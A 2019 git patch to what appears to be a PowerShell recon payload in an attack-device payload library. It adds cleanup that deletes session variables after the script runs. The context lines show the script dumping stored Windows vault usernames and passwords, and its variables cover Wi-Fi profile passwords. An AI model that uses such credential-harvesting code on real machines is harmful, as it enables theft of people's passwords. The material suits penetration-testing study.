From 9777ae0feedd6c3c668356cf4a773a093c8f2181 Mon Sep 17 00:00:00 2001 From: 0rion <45885529+0rion5@users.noreply.github.com> Date: Thu, 17 Jan 2019 19:21:02 -0700 Subject: [PATCH] Update for Info.ps1 Removes all Variables created during the session. I noticed my version of PS was storing them between simulated attacks. so removing them entirely was my resolve. Remove-Variable -Name computerPubIP, computerIP,IsDHCPEnabled,Network,Networks, computerMAC,computerSystem,computerBIOS,computerOs, computerCpu, computerMainboard,computerRamCapacity, computerRam,driveType,Hdds,RDP,WLANProfileNames,WLANProfileName, Output,WLANProfileObjects,WLANProfilePassword,WLANProfileObject,luser, process,listener,listenerItem,process,service,software,drivers,videocard, vault -ErrorAction SilentlyContinue -Force --- payloads/library/recon/InfoGrabber/info.ps1 | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/payloads/library/recon/InfoGrabber/info.ps1 b/payloads/library/recon/InfoGrabber/info.ps1 index 8ceb4e5a..8a869a31 100644 --- a/payloads/library/recon/InfoGrabber/info.ps1 +++ b/payloads/library/recon/InfoGrabber/info.ps1 @@ -188,3 +188,12 @@ $computerSystem.Name "Windows/user passwords" "==================================================================" $vault | select Resource, UserName, Password | Sort-Object Resource | ft -AutoSize + +Remove-Variable -Name computerPubIP, +computerIP,IsDHCPEnabled,Network,Networks, +computerMAC,computerSystem,computerBIOS,computerOs, +computerCpu, computerMainboard,computerRamCapacity, +computerRam,driveType,Hdds,RDP,WLANProfileNames,WLANProfileName, +Output,WLANProfileObjects,WLANProfilePassword,WLANProfileObject,luser, +process,listener,listenerItem,process,service,software,drivers,videocard, +vault -ErrorAction SilentlyContinue -Force